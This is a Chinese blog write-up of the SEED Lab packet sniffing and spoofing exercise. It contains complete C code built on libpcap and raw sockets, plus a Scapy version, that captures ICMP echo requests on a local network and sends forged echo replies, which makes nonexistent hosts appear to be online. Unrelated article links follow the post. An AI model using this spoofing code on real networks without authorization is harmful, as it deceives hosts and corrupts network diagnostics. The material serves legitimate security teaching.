Linux下的 sniff-andthen-spoof程序编写

一、任务描述

在本任务中,您将结合嗅探和欺骗技术来实现以下嗅探然后欺骗程序。你需要两台机器在同一个局域网。从机器A ping IP_X,这将生成一个ICMP echo request包。如果主机IP_X存在,ping程序将收到一个echo reply,并打印出响应。您的嗅探然后欺骗程序在攻击者的机器上运行,攻击者通过嗅探包监视LAN。当它看到一个ICMP echo request时,不管目标IP地址是什么,您的程序应该立即使用欺骗技术发送一个echo reply。因此,无论IP_X是否存在,ping程序总是会收到一个答复,表明主机X是在线。您需要用C语言编写这样一个程序,并在报告中包含屏幕截图,以显示您的程序是有效的。请在你的报告中附上代码(有足够数量的注释)。

这其实是SEED Lab的一个实验,可以在官网上找到。 SEED Lab: Packet Sniffing and Spoofing Lab

二、实现思路

ping一个IP地址其实是发送的ICMP Echo request包,所以我们需要先实现一个能抓到同一个局域网的ICMP Echo request包的嗅探程序代码。然后利用抓到的包,进行一定方式的伪造技术,构造一个ICMP echo reply包发送给受害主机,以达到欺骗目的。

1. 嗅探程序代码框架

  • 实现流程

    首先启动pcap监听网卡,其次编译BPF过滤器并设置过滤器,然后设置嗅探的处理函数,最后关闭嗅探器。

需要注意的是:根据BPF规则,我要设定filter的过滤规则。因为要侦测ICMP echo request包,所以设置字段如下:"icmp[icmptype]==icmp-echo"

  • 实现代码如下:

// sniff: capture the pkt
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
{
printf("get the pkt");
//*******************************************************************************
//implement spoofing code...
} //主程序
int main()
{
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
char filter_exp[] = "icmp[icmptype]==icmp-echo";
bpf_u_int32 net; // Step 1: Open live pcap session on NIC with name eth3.
// Students need to change "eth3" to the name found on their own
// machines (using ifconfig). The interface to the 10.9.0.0/24
// network has a prefix "br-" (if the container setup is used).
handle = pcap_open_live("br-cbc1af37a44e", BUFSIZ, 1, 1000, errbuf);
printf("listening on network card, ret: %p...\n", handle); // Step 2: Compile filter_exp into BPF psuedo-code
printf("try to compile filter...\n");
pcap_compile(handle, &fp, filter_exp, 0, net);
printf("try to set filter...\n");
pcap_setfilter(handle, &fp); // Step 3: Capture packets
printf("start to sniff...\n");
pcap_loop(handle, -1, got_packet, NULL); pcap_close(handle); //Close the handle
return 0;
}

2. 获得所抓包的相关数据信息

因为我们需要伪造数据包的reply包,所以我们首先要获得request包中的信息,并弄清楚它们。

    // 获得Ethernet、IP、icmp的头信息和payload及其长度信息
struct ethheader *eth = (struct ethheader *)packet;
struct ipheader * ip_pkt = (struct ipheader *)(packet + sizeof(struct ethheader));
struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader));
const char *data_pkt = (unsigned char *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader) + sizeof(struct icmpheader));
int data_len = ntohs(ip_pkt->iph_len) - (sizeof(struct ipheader) + sizeof(struct icmpheader));

3. 伪造ICMP echo request包并发送给受害主机

根据协议栈规则,我们需要逐级向下封装数据包,即payload->icmp->ip。最后通过原生套接字编程把伪造IP数据包发送给受害主机。

  • 注意点

    • 伪造这个IP数据包,一定要加上payload数据。我之前没有加上payload,受害主机一直接收不到回复,最后老师告诉我,如果不加上payload,受害主机可能不认伪造的数据包。
    • 一定注意复制payload所用的函数是memcpy()内存拷贝函数。我之前使用的为strncpy()字符串复制函数,但是代码中所获得的payload是一个指向字符串的指针,所以我每次复制给伪造的payload都只有4字节。我花费了大量时间在这,一直找不到原因,害,还是自己的C语言太菜了,连指针与字符数组都搞不清了。
    • ICMP头需要计算checksum,而IP头不用,具体原因我也不知道,如果大佬知道,请指点我一下。
  • 实现代码如下

    /*********************************************************
Step 1: Fill in the ICMP data field.
********************************************************/
char buffer[1500];
memset(buffer, 0, 1500);
char *data = buffer + sizeof(struct ipheader) + sizeof(struct icmpheader);
// copy the data_pkt payload to payload
memcpy(data, data_pkt, data_len); /*********************************************************
Step 2: Fill in the ICMP header.
********************************************************/
struct icmpheader *icmp = (struct icmpheader *)
(buffer + sizeof(struct ipheader)); icmp->icmp_type = 0; //ICMP Type: 8 is request, 0 is reply.
icmp->icmp_code = 0;
icmp->icmp_id = icmp_pkt->icmp_id;
icmp->icmp_seq = icmp_pkt->icmp_seq;
// Calculate the checksum for integrity
icmp->icmp_chksum = in_cksum((unsigned short *)icmp, sizeof(struct icmpheader)); /*********************************************************
Step 3: Fill in the IP header.
********************************************************/
struct ipheader *ip = (struct ipheader *) buffer;
ip->iph_ver = 4;
ip->iph_ihl = 5;
ip->iph_ttl = 64;
ip->iph_sourceip.s_addr = ip_pkt->iph_destip.s_addr;
ip->iph_destip.s_addr = ip_pkt->iph_sourceip.s_addr;
ip->iph_protocol = IPPROTO_ICMP;
ip->iph_len = htons(sizeof(struct ipheader) +
sizeof(struct icmpheader)+ data_len); printf("spoofing IP src:%s\n", inet_ntoa(ip->iph_sourceip));
printf("spoofing IP dst: %s\n", inet_ntoa(ip->iph_destip));
/*********************************************************
Step 4: Finally, send the spoofed packet
********************************************************/
struct sockaddr_in dest_info;
int enable = 1; // Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
printf("sock: %d\n", sock); // Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable)); // Step 3: Provide needed information about destination.
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip; // Step 4: Send the packet out.
sendto(sock, ip, ntohs(ip->iph_len), 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);

三、程序全部代码

  • myheader.h
/* Ethernet header */
struct ethheader {
u_char ether_dhost[6]; /* destination host address */
u_char ether_shost[6]; /* source host address */
u_short ether_type; /* IP? ARP? RARP? etc */
}; /* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
}; /* UDP Header */
struct udpheader
{
u_int16_t udp_sport; /* source port */
u_int16_t udp_dport; /* destination port */
u_int16_t udp_ulen; /* udp length */
u_int16_t udp_sum; /* udp checksum */
}; /* ICMP Header */
struct icmpheader {
unsigned char icmp_type; // ICMP message type
unsigned char icmp_code; // Error code
unsigned short int icmp_chksum; //Checksum for ICMP Header and data
unsigned short int icmp_id; //Used for identifying request
unsigned short int icmp_seq; //Sequence number
}; /* TCP Header */
struct tcpheader {
u_short tcp_sport; /* source port */
u_short tcp_dport; /* destination port */
u_int tcp_seq; /* sequence number */
u_int tcp_ack; /* acknowledgement number */
u_char tcp_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
u_char tcp_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_short tcp_win; /* window */
u_short tcp_sum; /* checksum */
u_short tcp_urp; /* urgent pointer */
}; /* Psuedo TCP header */
struct pseudo_tcp
{
unsigned saddr, daddr;
unsigned char mbz;
unsigned char ptcl;
unsigned short tcpl;
struct tcpheader tcp;
char payload[1500];
};
  • sniff-andthen-spoof.c
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <pcap.h> #include "myheader.h" // ICMP checksum caculation
unsigned short in_cksum (unsigned short *buf, int length)
{
unsigned short *w = buf;
int nleft = length;
int sum = 0;
unsigned short temp=0; /*
* The algorithm uses a 32 bit accumulator (sum), adds
* sequential 16 bit words to it, and at the end, folds back all
* the carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
} /* treat the odd byte at the end, if any */
if (nleft == 1) {
*(u_char *)(&temp) = *(u_char *)w ;
sum += temp;
} /* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16
sum += (sum >> 16); // add carry
return (unsigned short)(~sum);
} // capture the pkt
void got_packet(u_char *args, const struct pcap_pkthdr *header,
const u_char *packet)
{
// get ethernet, ip, icmp, payload pkt sniffed pkt
struct ethheader *eth = (struct ethheader *)packet;
struct ipheader * ip_pkt = (struct ipheader *)(packet + sizeof(struct ethheader));
struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader));
const char *data_pkt = (unsigned char *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader) + sizeof(struct icmpheader));
int data_len = ntohs(ip_pkt->iph_len) - (sizeof(struct ipheader) + sizeof(struct icmpheader)); //***************spoofing the pkt*****************************************
/*********************************************************
Step 1: Fill in the ICMP data field.
********************************************************/
char buffer[1500];
memset(buffer, 0, 1500);
char *data = buffer + sizeof(struct ipheader) + sizeof(struct icmpheader);
// copy the data_pkt to data
memcpy(data, data_pkt, data_len); /*********************************************************
Step 2: Fill in the ICMP header.
********************************************************/
struct icmpheader *icmp = (struct icmpheader *)
(buffer + sizeof(struct ipheader)); icmp->icmp_type = 0; //ICMP Type: 8 is request, 0 is reply.
icmp->icmp_code = 0;
icmp->icmp_id = icmp_pkt->icmp_id;
icmp->icmp_seq = icmp_pkt->icmp_seq;
// Calculate the checksum for integrity
icmp->icmp_chksum = in_cksum((unsigned short *)icmp, sizeof(struct icmpheader)); /*********************************************************
Step 3: Fill in the IP header.
********************************************************/
struct ipheader *ip = (struct ipheader *) buffer;
ip->iph_ver = 4;
ip->iph_ihl = 5;
ip->iph_ttl = 64;
ip->iph_sourceip.s_addr = ip_pkt->iph_destip.s_addr;
ip->iph_destip.s_addr = ip_pkt->iph_sourceip.s_addr;
ip->iph_protocol = IPPROTO_ICMP;
ip->iph_len = htons(sizeof(struct ipheader) +
sizeof(struct icmpheader)+ data_len); printf("spoofing IP src:%s\n", inet_ntoa(ip->iph_sourceip));
printf("spoofing IP dst: %s\n", inet_ntoa(ip->iph_destip)); /*********************************************************
Step 4: Finally, send the spoofed packet
********************************************************/
struct sockaddr_in dest_info;
int enable = 1; // Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
printf("sock: %d\n", sock); // Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable)); // Step 3: Provide needed information about destination.
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip; // Step 4: Send the packet out.
sendto(sock, ip, ntohs(ip->iph_len), 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock); } int main()
{
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
char filter_exp[] = "icmp[icmptype]==icmp-echo";
bpf_u_int32 net; // Step 1: Open live pcap session on NIC with name eth3.
// Students need to change "eth3" to the name found on their own
// machines (using ifconfig). The interface to the 10.9.0.0/24
// network has a prefix "br-" (if the container setup is used).
handle = pcap_open_live("br-cbc1af37a44e", BUFSIZ, 1, 1000, errbuf);
printf("listening on network card, ret: %p...\n", handle); // Step 2: Compile filter_exp into BPF psuedo-code
printf("try to compile filter...\n");
pcap_compile(handle, &fp, filter_exp, 0, net);
printf("try to set filter...\n");
pcap_setfilter(handle, &fp); // Step 3: Capture packets
printf("start to sniff...\n");
pcap_loop(handle, -1, got_packet, NULL); pcap_close(handle); //Close the handle
return 0;
}

四、运行结果

结果如下图所示。主机IP为10.9.0.6,向一个网络不存在的IP为1.2.3.4,ping命令,得到了回复。向网络上存在的IP为8.8.8.8,也得到了回复。



五、 补充:python写法

python永远的神,好简单!!!!

#!/usr/bin/python3
from scapy.all import * def print_pkt(pkt):
print(pkt[IP].dst,pkt[IP].src)
send(IP(src=pkt[IP].dst, dst=pkt[IP].src)/ICMP(type="echo-reply", id=pkt[ICMP].id, seq=pkt[ICMP].seq)/Raw(load=pkt[Raw].load)) pkt = sniff(iface='br-cbc1af37a44e', filter="icmp[icmptype]==icmp-echo",prn=print_pkt)

Linux下的 sniff-andthen-spoof程序编写的更多相关文章

  1. Linux下通过.desktop 文件创建桌面程序图标及文件编写方式(Desktop Entry文件概述)

    Linux下通过.desktop 文件创建桌面程序图标及文件编写方式 1.Desktop Entry文件概述:在 Windows 平台上,用户可以通过点击位于桌面或菜单上的快捷方式轻松打开目标应用程序 ...

  2. Linux下使用vim编辑C程序

    这几天在系统能力班自学linux,加上最近大数据课上开始使用linux,我在这里总结一下,linux下使用vim编辑c程序的一些问题. 大数据课上是直接使用micro来编辑的,我这里只是简单的说明一下 ...

  3. 在Linux下使用linuxdeployqt发布Qt程序

    一.简介 linuxdeployqt 是Linux下的qt打包工具,可以将应用程序使用的资源(如库,图形和插件)复制到二进制运行文件所在的文件夹中. 二.安装linuxdeployqt 去github ...

  4. 如何用javac 和java 编译运行整个Java工程 (转载)【转】在Linux下编译与执行Java程序

    如何用javac 和java 编译运行整个Java工程 (转载)  http://blog.csdn.net/huagong_adu/article/details/6929817 [转]在Linux ...

  5. linux 下检查java jar包 程序是否正常 shell

    linux 下检查java jar包 程序是否正常 shell http://injavawetrust.iteye.com BATCH_SERVER="batch.jar" NR ...

  6. Linux下如何让jar包程序在后台一直执行

    Linux下如何让Jar包程序在后台一直执行 shell命令 nohup java -jar xxx.jar & &:让程序后台执行. nohub:让程序控制台输出转移到nohub.o ...

  7. 在Linux下,如何分析一个程序达到性能瓶颈的原因

    0.在Linux下,如何分析一个程序达到性能瓶颈的原因,请分别从CPU.内存.IO.网络的角度判断是谁导致的瓶颈?注意现在的机器CPU是多核 1.用sar -n DEV 1 10 2.用iotop命令 ...

  8. Linux下简单C语言小程序的反汇编分析

    韩洋原创作品转载请注明出处<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 写在开始,本文为因为参加MOO ...

  9. 在 linux 下使用 CMake 构建应用程序

    学习cmake http://xwz.me/wiki/doku.php?id=cmake 碰到的一些问题: 1.You have changed variables that require your ...

  10. Linux下PHP与普通C程序通信

    Linux下的普通C程序之前可以使用FIFO(有名管道来进行进程间通信,因为这个管道以一个文件的形式存在于文件系统上,因此只要能读写这个文件就可以实现进程间通信. 首先使用mkfifo命令有文件系统上 ...

随机推荐

  1. jquery .play()报错is not a function

    报错原因:play()方法属于DOM对象方法,$('#audio')为jquery对象解决办法:将jquery对象转换为DOM对象首先打印jquery对象$('#audio') 两种转换方式将一个jQ ...

  2. Orchard Core 简介

    Orchard Core 是基于ASP.NET Core 对Orchard CMS的 二次开发. Orchard Core由两部分组成: Orchard Core Framework: 一个基于ASP ...

  3. Qt中的ui文件转换为py文件

    将pyuic5 -o demo.py demo.ui写入ui-py.bat文件(自定义文件),将ui文件与ui-py.bat文件放在同一文件夹,双击.bat文件即可生成.py文件

  4. Nresource服务之接口缓存化

    1. 背景 Nresource服务日均4.5亿流量,考虑到未来流量急增场景,我们打算对大流量接口进行缓存化处理:根据服务管理平台数据统计显示getUsableResoureCount接口调用量很大,接 ...

  5. P7470-[NOI Online 2021 提高组]岛屿探险【Trie,CDQ分治】

    正题 题目链接:https://www.luogu.com.cn/problem/P7470 题目大意 给出\(n\)个二元组\((a,b)\). \(q\)次询问给出\((l,r,c,d)\)表示询 ...

  6. P7515-[省选联考 2021A卷]矩阵游戏【差分约束】

    正题 题目链接:https://www.luogu.com.cn/problem/P7515 题目大意 有一个\(n*m\)的矩形\(A\),然后给出一个\((n-1)*(m-1)\)的矩形\(B\) ...

  7. 一篇文章告诉你Python接口自动化测试中读取Text,Excel,Yaml文件的方法

    前言 不管是做Ui自动化和接口自动,代码和数据要分离,会用到Text,Excel,Yaml.今天讲讲如何读取文件数据 Python也可以读取ini文件,传送门 记住一点:测试的数据是不能写死在代码里面 ...

  8. 树莓派3B上手一二

    树莓派3B上手一二 早些时间心血来潮买过一个树莓派,但是当时只是玩一玩,买来按照网上的教程摆弄了一下就闲置了.最近毕业设计,做时序数据分析的相关的工作,刚好想起能够用到树莓派+Node-RED来生成模 ...

  9. Python小知识之对象的比较

    好久不见 国庆回了趟老家,躺平了10天.作息时间基本和小学生差不多,8.9点就睡了, 那滋味别提多舒服了.时间也和小时候过得一样慢了...长时间不更新,还是不行滴,粉都快掉没了. 今天就结合日常生活的 ...

  10. 人力节省 50%,研发效能提升 40%,阿里 Serverless 架构落地实践

    作者 | 万佳 嘉宾 | 杨皓然(不瞋) 导读:云的下一波浪潮是什么?杨皓然称"是 Serverless".作为一名阿里老兵,他早在 2010 年即加入阿里云,曾深度参与阿里云飞天 ...